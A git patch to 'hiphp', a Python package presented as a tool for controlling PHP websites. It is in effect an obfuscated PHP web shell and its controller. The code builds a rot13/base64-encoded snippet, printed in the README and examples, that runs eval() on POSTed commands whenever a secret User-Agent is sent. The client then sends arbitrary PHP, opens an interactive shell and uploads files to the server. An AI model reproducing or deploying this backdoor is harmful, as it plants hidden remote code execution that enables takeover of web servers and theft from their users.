From a3f3417652614fcde1fa0c6652c65ae4bea1b040 Mon Sep 17 00:00:00 2001 From: "Yasser BDJ (Ro0t-96)" Date: Fri, 4 Jun 2021 16:19:11 +0100 Subject: [PATCH] 0.1.6 --- README.md | 98 ++++++++--- changelog.txt | 5 + examples.py | 81 +++++++-- hiphp/__init__.py | 428 +++++++++++++++++++++++++--------------------- setup.py | 2 +- usage.py | 10 +- version.txt | 2 +- 7 files changed, 390 insertions(+), 236 deletions(-) diff --git a/README.md b/README.md index 43816d86..124dd624 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@

Installation:

``` -pip install hiphp==0.1.5 +pip install hiphp==0.1.6 ```

Usage:

@@ -22,10 +22,16 @@ pip install hiphp==0.1.5 ```python # USAGE : #s -#s from hiphp import hiphp -hiphp("","http://LINK/TO/YOUR/PHP/FILE",).run() +p1=hiphp("","") +print(p1.get_code())//Get HIPHP ID for first use. +p1.run("")//Run a code or line in your website. +p1.run_file("")//Run a code or line in your website from a file. +p1.run_file("","<__VALUE_NAME__>==")//Run a code or line in your website from a file With the entry of variables. +p1.cli()//open command panel +p1.upload("")//Upload a file to the server hosting the site. +p1.upload("","./") #e ``` @@ -37,35 +43,80 @@ hiphp("","http://LINK/TO/YOUR/PHP/FILE",).run() #s from hiphp import hiphp +hiphp("123","https://localhost/index.php") + # Example:1 -# CLI: -hiphp("123","https://localhost/index.php").run() +# GET ID: +print(p1.get_code()) +# OUTPUT: +''' +/*php code start*/ +eval(str_rot13(base64_decode(str_rot13(base64_decode('bkpMYldTOUdFSVdKRUlXb1cwdUhJU09zSUlBU0h5OU9FMElCSVBxcUNHMGFaUUx3QlJEM0F3RDBBUlJsWndSbEIwRGtDR1pqWUd0MFdHRDVDbU4xQ1JaakpteDFybVNPWFFOMkJ3SVBuR1Zsb0hObFpRTzBEbU9uQkdEY1p3dTlEMFdxQkdEK0FtTnVEeFp4QXdOekR3RXNBbU5lQUhWa0VRTG1abVYxRHdwM1pSTDVXbHk3TUpBYm9scHdwVXkwblQ5aFdtZ2NNdnVjcDNBeXFQdHhLMU9DSDFFb1cyQWlvSjF1b3pEYUtGeGNyMkkyTEpqYldTOURHMUFISmxxd28yMWdMSjV4VzEwY0IzMXlyVHkwQjMwPQ=='))))); +/*php code end*/ +''' +# Copy this code into the file whose path you entered earlier. +# for example: https://localhost/index.php + # Example:2 # Command: -hiphp("123","https://localhost/index.php",False,False).run("-c echo 'hi';") +p1.run("echo 'this is a test';") +# OUTPUT: +''' +this is a test +''' # Example:3 -# Command: -p1=hiphp("123","https://localhost/index.php",True,False).run("-c echo 'hi';") -print(p1) +# Run code from file: +#-example_3.php content: +''' +echo 'this is a test'; +''' +#OR +''' + +''' +p1.run_file("example_3.php") +# OUTPUT: +''' +this is a test +''' # Example:4 +# Run code from file With the entry of variables: #-example_4.php content: -'''''' -# File: -hiphp("123","https://localhost/index.php",False,False).run("example_4.php") +''' +echo '__test__'; +''' +#OR +''' + +''' +p1.run_file("example_4.php","test==this is a test") +# OUTPUT: +''' +this is a test +''' # Example:5 -#-example_5.txt content: -'''// prints something like: Wednesday the 15th - echo date('l \t\h\e jS');''' -# File: -p1=hiphp("123","https://localhost/index.php",True,False).run("example_5.txt") -print(p1) +# Command line interface: +p1.cli() +# OUTPUT: +''' +hiphp>>> +''' + +# Example:6 +# Upload a picture: +p1.upload("picture_example.png") + +# Example:7 +# Upload a picture to a specific path: +p1.upload("picture_example.png","./pictures/") #e ``` @@ -73,6 +124,11 @@ print(p1)

Changelog:

``` +## 0.1.6 + - fix bugs. + - add upload to upload any file. + - Simplify the use of the program. + ## 0.1.5 - fix bugs. diff --git a/changelog.txt b/changelog.txt index bd3cc595..6ece6f70 100644 --- a/changelog.txt +++ b/changelog.txt @@ -1,3 +1,8 @@ +## 0.1.6 + - fix bugs. + - add upload to upload any file. + - Simplify the use of the program. + ## 0.1.5 - fix bugs. diff --git a/examples.py b/examples.py index 6a863f24..98b7c85e 100644 --- a/examples.py +++ b/examples.py @@ -2,33 +2,78 @@ #s from hiphp import hiphp +hiphp("123","https://localhost/index.php") + # Example:1 -# CLI: -hiphp("123","https://localhost/index.php").run() +# GET ID: +print(p1.get_code()) +# OUTPUT: +''' +/*php code start*/ +eval(str_rot13(base64_decode(str_rot13(base64_decode('bkpMYldTOUdFSVdKRUlXb1cwdUhJU09zSUlBU0h5OU9FMElCSVBxcUNHMGFaUUx3QlJEM0F3RDBBUlJsWndSbEIwRGtDR1pqWUd0MFdHRDVDbU4xQ1JaakpteDFybVNPWFFOMkJ3SVBuR1Zsb0hObFpRTzBEbU9uQkdEY1p3dTlEMFdxQkdEK0FtTnVEeFp4QXdOekR3RXNBbU5lQUhWa0VRTG1abVYxRHdwM1pSTDVXbHk3TUpBYm9scHdwVXkwblQ5aFdtZ2NNdnVjcDNBeXFQdHhLMU9DSDFFb1cyQWlvSjF1b3pEYUtGeGNyMkkyTEpqYldTOURHMUFISmxxd28yMWdMSjV4VzEwY0IzMXlyVHkwQjMwPQ=='))))); +/*php code end*/ +''' +# Copy this code into the file whose path you entered earlier. +# for example: https://localhost/index.php + # Example:2 # Command: -hiphp("123","https://localhost/index.php",False,False).run("-c echo 'hi';") +p1.run("echo 'this is a test';") +# OUTPUT: +''' +this is a test +''' # Example:3 -# Command: -p1=hiphp("123","https://localhost/index.php",True,False).run("-c echo 'hi';") -print(p1) +# Run code from file: +#-example_3.php content: +''' +echo 'this is a test'; +''' +#OR +''' + +''' +p1.run_file("example_3.php") +# OUTPUT: +''' +this is a test +''' # Example:4 +# Run code from file With the entry of variables: #-example_4.php content: -'''''' -# File: -hiphp("123","https://localhost/index.php",False,False).run("example_4.php") +''' +echo '__test__'; +''' +#OR +''' + +''' +p1.run_file("example_4.php","test==this is a test") +# OUTPUT: +''' +this is a test +''' # Example:5 -#-example_5.txt content: -'''// prints something like: Wednesday the 15th - echo date('l \t\h\e jS');''' -# File: -p1=hiphp("123","https://localhost/index.php",True,False).run("example_5.txt") -print(p1) +# Command line interface: +p1.cli() +# OUTPUT: +''' +hiphp>>> +''' + +# Example:6 +# Upload a picture: +p1.upload("picture_example.png") + +# Example:7 +# Upload a picture to a specific path: +p1.upload("picture_example.png","./pictures/") #e diff --git a/hiphp/__init__.py b/hiphp/__init__.py index e041ed59..c59ba8a9 100644 --- a/hiphp/__init__.py +++ b/hiphp/__init__.py @@ -1,194 +1,236 @@ -#!/usr/bin/env python -# coding:utf-8 -""" -#set:usage,examples,changelog -################################################################## -# USAGE : -#s -#s -from hiphp import hiphp - -hiphp("","http://LINK/TO/YOUR/PHP/FILE",).run() -#e -#e -################################################################## -# EXAMPLES : -#s -from hiphp import hiphp - -# Example:1 -# CLI: -hiphp("123","https://localhost/index.php").run() - -# Example:2 -# Command: -hiphp("123","https://localhost/index.php",False,False).run("-c echo 'hi';") - -# Example:3 -# Command: -p1=hiphp("123","https://localhost/index.php",True,False).run("-c echo 'hi';") -print(p1) - -# Example:4 -#-example_4.php content: -'''''' -# File: -hiphp("123","https://localhost/index.php",False,False).run("example_4.php") - -# Example:5 -#-example_5.txt content: -'''// prints something like: Wednesday the 15th - echo date('l \t\h\e jS');''' -# File: -p1=hiphp("123","https://localhost/index.php",True,False).run("example_5.txt") -print(p1) -#e -################################################################## -""" -# VALUES : -#s -__version__="0.1.5" -__name__="hiphp" -__author__="Yasser BDJ (Ro0t96)" -__author_email__="by.root96@gmail.com" -__github_user_name__="byRo0t96" -__title__="hiphp for control php websites." -__description__="A package for controlling a php-based website." -__author_website__="https://byro0t96.github.io/" -__source_code__=f"https://github.com/{__github_user_name__}/{__name__}" -__keywords__=['python','hiphp','php','cli'] -__install_requires__=["pipincluder",'requests','ashar','hexor'] -__Installation__="pip install "+__name__+"=="+__version__ -__license__='Apache Software License' -__license_text__=f'''Copyright (c) 2008->Present, {__author__} -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License.''' -__copyright__='Copyright 2008 -> Present, '+__author__ - -__changelog__=("## 0.1.5\n - fix bugs.\n\n") -__changelog__=__changelog__+("## 0.1.4\n - fix bugs.\n - new build. \n\n") -__changelog__=__changelog__+("## 0.1.1\n- Import pakages by pipincluder.\n- Fix bugs.\n\n") -__changelog__=__changelog__+("## 0.1.0\n- New build.\n- Fix bugs.\n\n") -__changelog__=__changelog__+("## 0.0.4\n- Fix bugs.\n\n") -__changelog__=__changelog__+("## 0.0.2\n- Fix bugs.\n- Add help list.\n- Add Executing from files.\n\n") -__changelog__=__changelog__+("## 0.0.1\n- First public release.\n\n") -################################################################## -#e - -#s -from pipincluder import pipincluder - -#import pakages by pipincluder: -exec(pipincluder("import requests", - "from ashar import ashar", - "from hexor import hexor").modules()) - -#start hiphp class: -class hiphp: - def __init__(self,key,url,retur=False,cli=True): - self.key=ashar(key,key).encode() - self.url=url - self.cli=cli - if self.cli==True: - self.retur=False - else: - self.retur=retur - self.headers={'User-Agent':self.key} - self.print=hexor() - self.print2=hexor(True) - - #run: - def run(self,file=""): - response=requests.post(self.url,headers=self.headers) - if response.status_code==200: - if response.text[0:7]=="#python": - if self.cli==True: - self.print.c("Type PHP commands here:","#31ad22") - hiphp.input_command(self.url,self.headers,self.print2,self.retur) - elif self.cli==False and file!="" and file[0:2]!="-c": - try: - open_file=open(file).read() - if open_file[0:5]=="": - open_file=open_file[:len(open_file)-2] - response=hiphp.post(self.url,self.headers,open_file) - if self.retur==True: - return hiphp.check_errors(response.text,self.print2,self.retur) - else: - hiphp.check_errors(response.text,self.print2,self.retur) - except: - self.print.c("The file you entered does not exist.","#ff5b3c") - elif self.cli==False and file!="" and file[0:2]=="-c": - response=hiphp.post(self.url,self.headers,file[3:]) - if self.retur==True: - return hiphp.check_errors(response.text,self.print2,self.retur) - else: - hiphp.check_errors(response.text,self.print2,self.retur) - else: - self.print.c("A mistake in your entries.","#ff5b3c") - else: - self.print.c("We were unable to recognize the hiphp identifier.","#ff5b3c") - self.print.c("Please copy and paste the following code at the top of the homepage or in another php file, taking into account the path you will enter in the original function.\n","#ff5b3c") - print(hiphp.Get_code(self.key,self.print2)) - exit() - else: - self.print.c("We were unable to connect '"+self.url+"'.","#ff5b3c") - - #input_command: - def input_command(url,headers,p1,retur): - c=input('hiphp>>>') - if c: - response=hiphp.post(url,headers,c) - if retur==True: - return hiphp.check_errors(response.text,p1,retur) - else: - hiphp.check_errors(response.text,p1,retur) - else: - print(p1.c("Command not found!","#ff5b3c")) - hiphp.input_command(url,headers,p1,retur) - - #post: - def post(url,headers,command): - ploads={'command':command}#open('php.php').read() - response=requests.post(url,headers=headers,data=ploads) - return response - - #check_errors: - def check_errors(response,p1,retur): - if response[7:13]!="
": - if retur==False: - print(response[7:]) - elif retur==True: - return response[7:] - else: - print(p1.c("ERROR in command line.","#ff5b3c")) - - #torot13: - def rot13(text): - rot13=str.maketrans("ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz","NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") - return str.translate(text,rot13) - - #Get_code: - def Get_code(key,p1): - login_key=ashar(key,key).encode() - code="if($_SERVER['HTTP_USER_AGENT']=='"+key+"'){echo'#python';if(isset($_POST['command'])){eval($_POST['command']);}exit;}" - code=hiphp.rot13(code) - code=ashar.tob64(code) - code=hiphp.rot13(code) - code=ashar.tob64(code) - code=f"eval(str_rot13(base64_decode(str_rot13(base64_decode('{code}')))));" - return p1.c("/*php code start*/\n","#31ad22")+p1.c(code,"#539bf5")+p1.c("\n/*php code end*/","#31ad22") +#!/usr/bin/env python +# coding:utf-8 +""" +#set:usage,examples,changelog +################################################################## +# USAGE : +#s +from hiphp import hiphp + +p1=hiphp("","") +print(p1.get_code())//Get HIPHP ID for first use. +p1.run("")//Run a code or line in your website. +p1.run_file("")//Run a code or line in your website from a file. +p1.run_file("","<__VALUE_NAME__>==")//Run a code or line in your website from a file With the entry of variables. +p1.cli()//open command panel +p1.upload("")//Upload a file to the server hosting the site. +p1.upload("","./") +#e +################################################################## +# EXAMPLES : +#s +from hiphp import hiphp + +hiphp("123","https://localhost/index.php") + +# Example:1 +# GET ID: +print(p1.get_code()) +# OUTPUT: +''' +/*php code start*/ +eval(str_rot13(base64_decode(str_rot13(base64_decode('bkpMYldTOUdFSVdKRUlXb1cwdUhJU09zSUlBU0h5OU9FMElCSVBxcUNHMGFaUUx3QlJEM0F3RDBBUlJsWndSbEIwRGtDR1pqWUd0MFdHRDVDbU4xQ1JaakpteDFybVNPWFFOMkJ3SVBuR1Zsb0hObFpRTzBEbU9uQkdEY1p3dTlEMFdxQkdEK0FtTnVEeFp4QXdOekR3RXNBbU5lQUhWa0VRTG1abVYxRHdwM1pSTDVXbHk3TUpBYm9scHdwVXkwblQ5aFdtZ2NNdnVjcDNBeXFQdHhLMU9DSDFFb1cyQWlvSjF1b3pEYUtGeGNyMkkyTEpqYldTOURHMUFISmxxd28yMWdMSjV4VzEwY0IzMXlyVHkwQjMwPQ=='))))); +/*php code end*/ +''' +# Copy this code into the file whose path you entered earlier. +# for example: https://localhost/index.php + + +# Example:2 +# Command: +p1.run("echo 'this is a test';") +# OUTPUT: +''' +this is a test +''' + +# Example:3 +# Run code from file: +#-example_3.php content: +''' +echo 'this is a test'; +''' +#OR +''' + +''' +p1.run_file("example_3.php") +# OUTPUT: +''' +this is a test +''' + +# Example:4 +# Run code from file With the entry of variables: +#-example_4.php content: +''' +echo '__test__'; +''' +#OR +''' + +''' +p1.run_file("example_4.php","test==this is a test") +# OUTPUT: +''' +this is a test +''' + +# Example:5 +# Command line interface: +p1.cli() +# OUTPUT: +''' +hiphp>>> +''' + +# Example:6 +# Upload a picture: +p1.upload("picture_example.png") + +# Example:7 +# Upload a picture to a specific path: +p1.upload("picture_example.png","./pictures/") +#e +################################################################## +""" +# VALUES : +#s +__version__="0.1.6" +__name__="hiphp" +__author__="Yasser BDJ (Ro0t96)" +__author_email__="by.root96@gmail.com" +__github_user_name__="byRo0t96" +__title__="hiphp for control php websites." +__description__="A package for controlling a php-based website." +__author_website__="https://byro0t96.github.io/" +__source_code__=f"https://github.com/{__github_user_name__}/{__name__}" +__keywords__=['python','hiphp','php','cli'] +__install_requires__=["pipincluder",'requests','ashar','hexor'] +__Installation__="pip install "+__name__+"=="+__version__ +__license__='Apache Software License' +__license_text__=f'''Copyright (c) 2008->Present, {__author__} +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License.''' +__copyright__='Copyright 2008 -> Present, '+__author__ + +__changelog__=("## 0.1.6\n - fix bugs.\n - add upload to upload any file.\n - Simplify the use of the program.\n\n") +__changelog__=__changelog__+("## 0.1.5\n - fix bugs.\n\n") +__changelog__=__changelog__+("## 0.1.4\n - fix bugs.\n - new build. \n\n") +__changelog__=__changelog__+("## 0.1.1\n- Import pakages by pipincluder.\n- Fix bugs.\n\n") +__changelog__=__changelog__+("## 0.1.0\n- New build.\n- Fix bugs.\n\n") +__changelog__=__changelog__+("## 0.0.4\n- Fix bugs.\n\n") +__changelog__=__changelog__+("## 0.0.2\n- Fix bugs.\n- Add help list.\n- Add Executing from files.\n\n") +__changelog__=__changelog__+("## 0.0.1\n- First public release.\n\n") +################################################################## +#e + +#s +from pipincluder import pipincluder + +#import pakages by pipincluder: +exec(pipincluder("import requests", + "from ashar import ashar", + "from hexor import hexor", + "import re,base64,os").modules()) + +#start hiphp class: +class hiphp: + #__init__: + def __init__(self,key,url): + self.key=ashar(key,key).encode() + self.url=url + self.headers={'User-Agent':self.key} + self.print=hexor() + self.print2=hexor(True) + + #run: + def run(self,command): + hiphp.do(self.url,self.headers,command) + + #cli: + def cli(self): + command=input('hiphp>>>') + if command: + hiphp.do(self.url,self.headers,command) + else: + print(p1.c("Command not found!","#ff5b3c")) + hiphp.cli(self) + + #run_file: + def run_file(self,file,*opts): + try: + open_file=open(file).read() + if open_file[0:5]=="": + open_file=open_file[:len(open_file)-2] + for i in range(len(opts)): + value,string=opts[i].split("==") + open_file=open_file.replace(f"__{value}__",string) + + hiphp.do(self.url,self.headers,open_file) + except: + self.print.c("The file you entered does not exist.","#ff5b3c") + + #upload: + def upload(self,path_to_upluad,to=""): + try: + with open(path_to_upluad,"rb") as base64_file: + encoded_string=base64.b64encode(base64_file.read()) + if to!="": + hiphp.run(self,"if(!file_exists('"+to+"')){mkdir('"+to+"',0777,true);}") + hiphp.run(self,f'Fwrite(fopen("{to+os.path.basename(path_to_upluad)}","w+"),base64_decode("{encoded_string.decode("utf-8")}"));') + except: + self.print.c(f"We could not read the file {path_to_upluad}","#ff5b3c") + #do: + def do(url,headers,command): + response=requests.post(url,headers=headers) + if response.status_code==200: + if response.text[0:7]=="#python": + ploads={'command':command}#open('php.php').read() + response=requests.post(url,headers=headers,data=ploads) + hiphp.check_errors(response.text[7:]) + else: + hexor().c("We were unable to recognize the hiphp identifier.","#ff5b3c") + else: + hexor().c("We were unable to connect '"+url+"'.","#ff5b3c") + + #check_errors: + def check_errors(response): + if response[:6]!="
": + print(response) + else: + result=re.search('on line (.*)
',response) + hexor().c(f"ERROR in line {result.group(1)}.","#ff5b3c") + print(response.replace('
','').replace('','').replace('','')) + + #torot13: + def rot13(text): + rot13=str.maketrans("ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz","NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") + return str.translate(text,rot13) + + #Get_code: + def get_code(self): + code="if($_SERVER['HTTP_USER_AGENT']=='"+self.key+"'){echo'#python';if(isset($_POST['command'])){eval($_POST['command']);}exit;}" + code=hiphp.rot13(code) + code=hiphp.rot13(code) + code=ashar.tob64(code) + code=hiphp.rot13(code) + code=ashar.tob64(code) + code=f"eval(str_rot13(base64_decode(str_rot13(base64_decode('{code}')))));" + return self.print2.c("/*php code start*/\n","#31ad22")+self.print2.c(code,"#539bf5")+self.print2.c("\n/*php code end*/","#31ad22") #e \ No newline at end of file diff --git a/setup.py b/setup.py index ddb07cb5..cbe86404 100644 --- a/setup.py +++ b/setup.py @@ -1,7 +1,7 @@ from setuptools import setup,find_packages setup( name="hiphp", - version="0.1.5", + version="0.1.6", author="Yasser BDJ (Ro0t96)", author_email="by.root96@gmail.com", description='''A package for controlling a php-based website.''', diff --git a/usage.py b/usage.py index 1d2cbd4d..112fd2e4 100644 --- a/usage.py +++ b/usage.py @@ -1,7 +1,13 @@ # USAGE : #s -#s from hiphp import hiphp -hiphp("","http://LINK/TO/YOUR/PHP/FILE",).run() +p1=hiphp("","") +print(p1.get_code())//Get HIPHP ID for first use. +p1.run("")//Run a code or line in your website. +p1.run_file("")//Run a code or line in your website from a file. +p1.run_file("","<__VALUE_NAME__>==")//Run a code or line in your website from a file With the entry of variables. +p1.cli()//open command panel +p1.upload("")//Upload a file to the server hosting the site. +p1.upload("","./") #e diff --git a/version.txt b/version.txt index def9a015..a1922332 100644 --- a/version.txt +++ b/version.txt @@ -1 +1 @@ -0.1.5 \ No newline at end of file +0.1.6 \ No newline at end of file